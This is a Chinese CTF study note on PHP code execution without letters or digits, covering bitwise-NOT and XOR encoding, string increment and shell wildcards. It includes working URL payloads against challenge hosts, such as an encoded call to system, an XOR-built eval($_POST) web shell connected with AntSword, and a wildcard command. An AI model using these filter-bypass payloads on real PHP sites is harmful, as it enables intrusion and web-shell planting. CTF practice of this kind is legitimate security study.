原理参考:无数字字母rce总结(取反、异或、自增、临时文件)-CSDN博客
RCE篇之无数字字母rce - 学安全的小白 - 博客园 (cnblogs.com)
以下是我的个人理解及例题
1.取反
例题:[SWPUCTF 2021 新生赛]hardrce | NSSCTF
取反用法就是对我们想要执行的语句通过取反符号"~"先准备好取反编码后语句,在通过(~)
写到url里达到绕过过滤a-z的目的,适用于没过滤"~"符号的题目
模型:?code=(语句1)(语句2)();
本题payload:
http://node5.anna.nssctf.cn:29866/?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0)();
http://node5.anna.nssctf.cn:29866/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98)();
2.异或"^"
例题:BUUCTF在线评测 (buuoj.cn)里的RCEme(这题用取反也行)
异或“^”,通过该符号可以通过二进制异或操作将两个字符拼接为一个
规则:1^1=0,1^0=1,0^1=1,0^0=0
比如a的二进制是01100001
就可通过! 00100001
和 @ 01000000
异或来得到
本题payload为
http://45462824-8ac4-45c7-aa10-db156ace2026.node5.buuoj.cn:81/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
但链接上蚁剑后,由于有disable_functions里面的flag文件无法读取,找的别人的wp
3.自增
利用php中数组与字符串强制链接,数组会强制转化为Array这个字符,在通过+号来得到我们所需要的字符
例题:
4.通配符
在Linux系统中可以使用 ? * 等字符来正则匹配字母星号
*号可以用来代替0个及以上任意字符
?号可以用来代替1个任意字符
例题:CTFHub里的hate_php
构造?><?= 语句?>
相当于?><?php echo 语句?>
本题payload:
?code=?><?=`/???/??? /????`?>